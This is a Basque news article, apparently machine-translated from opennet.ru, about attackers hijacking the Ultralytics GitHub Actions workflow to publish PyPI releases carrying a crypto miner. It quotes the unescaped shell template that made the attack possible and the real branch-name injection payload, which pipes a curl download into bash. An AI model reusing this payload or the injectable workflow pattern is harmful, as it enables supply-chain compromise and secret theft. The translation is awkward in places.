GitHub Actions kudeatzailearen errore batek Ultralytics bertsio gaiztoak argitaratu zituen

Erasotzaileek GitHub Actions kudeatzaile eskubideekin kodea exekutatu ahal izan zuten Ultralytics Python liburutegiko biltegian, ordenagailuaren ikusmen-arazoak konpontzeko erabiltzen dena, hala nola irudietan objektuak detektatzea eta irudiak segmentatzea. Biltegira sarbidea lortu ondoren, erasotzaileek hainbat Ultralytics bertsio berri argitaratu zituzten PyPI direktorioan, kriptografia-moneta meatzaritzako aldaketa gaiztoak barne. Azken hilabetean, Ultralytics liburutegia 6.4 milioi aldiz baino gehiago deskargatu da PyPI katalogotik.

Biltegia arriskuan jartzeko, ahultasun bat erabili zen ultralytics-actions paketean, GitHub-eko biltegi batean ekintza batzuk GitHub-eko biltegi batean GitHub Actions mekanismoa erabiliz kudeatzaileak automatikoki abiarazteko erabiltzen dena. Ultralitikoen proiektuan, kudeatzaile zaurgarria pull_request_target gertaerara lotu zen eta tira eskaera berriak iristen zirenean deitzen zen. Bereziki, bidalitako pull-eskaeretan kodea formateatzeko, format.yml kudeatzailea deitu zen eta action.yml fitxategiko "exekutatu" atalean zehaztutako kodea exekutatu zen, ordezkapen ereduekin shell komandoak zituena: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"

Horrela, pull-eskaeran aipatutako Git adarraren izena shell komandoetan ordezkatu zen behar bezala ihes egin gabe. Aipagarria da abuztuan, ultralytics-actions paketeak jadanik echo funtzioan kanpoko balio baten erabilerarekin lotutako antzeko ahultasun bat konpondu zuela: echo “github.event.pull_request.head.ref: ${{ github.event.pull_request .head.ref }} »

Beren kodearen exekuzioa GitHub Actions kudeatzailearen testuinguruan antolatzeko, erasotzaileek ultralitikoen biltegira tiraketa eskaera bat bidali zuten, adar izen gisa honako hau zehaztuz: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Horren arabera, tira eskaera bat jasotzen zenean, erasotzaileak zehaztutako “$(…)” katea txertatu zen kodean, eta, ondoren, kudeatzailea abiarazi zenean, “curl -sSfL raw.githubusercontent” kodea exekutatu zen. com/…/fitxategia.sh | baxa".

 GitHub Actions kudeatzailearen errore batek Ultralytics bertsio gaiztoak argitaratu zituen

GitHub Actions-en testuinguruan exekutatzen den kodea erabil daiteke biltegira sartzeko tokena eta beste datu sentikor batzuk harrapatzeko. Erasotzaileek argitalpen bat sortzea nola lortu zuten, beren kodea GitHub Actions-en exekutatzeko gaitasuna izanda, oraindik ez dago argi hori posible izan zela publish.yml kudeatzailearen aldaketaren ondorioz (erasotzaileek egiaztapena kendu zuten; argitalpenak PyPI-n argitaratzeko baimena duen kontua) eta GitHub Actions-en eraikuntza-cachea pozoitzen duen teknologia erabiltzeak zure datuak bertsioan txertatzeko.

Ultralytics 8.3.41 bertsioaren lehen bertsio gaiztoa erasotzaileek PyPI-n argitaratu zuten abenduaren 4an, 23:51ean (MSK) eta hurrengo egunean 12:15ean kendu zuten. 15:47an, beste bertsio bat, 8.3.42, argitaratu eta 16:47an kendu zen. Horrela, bertsio gaiztoak 13 orduz egon ziren deskargatzeko moduan (PyPI-k egunean 250 deskarga inguru erregistratzen ditu ultralytics liburutegitik). 8.3.41 eta 8.3.42 bertsioek kanpoko fitxategi batetik deskargatutako kodea zuten... zerbitzaria XMRig osagaia kriptografia-moneta meatzaritzarako.

Proiektuaren garatzaileek arazoa konpondu zuten eta 8.3.43 eta 8.3.44 argitalpen zuzentzaileak sortu zituzten, baina bi egun geroago beste eraso bat egin zen, erasotzaileek bi kaleratze gaizto gehiago argitaratu zituzten gaur 04:41 eta 05:27 (MSK) - 8.3.45 eta 8.3.46, beste meatze-kode batzuk barne hartzen dituztenak. Ikerketa amaitu arte, erabiltzaileei gomendatzen zaie bertsio berriak instalatzeari eutsi eta 8.3.44 bertsioa menpekotasun gisa konpontzea.

Iturria: opennet.ru

Gehitu iruzkin berria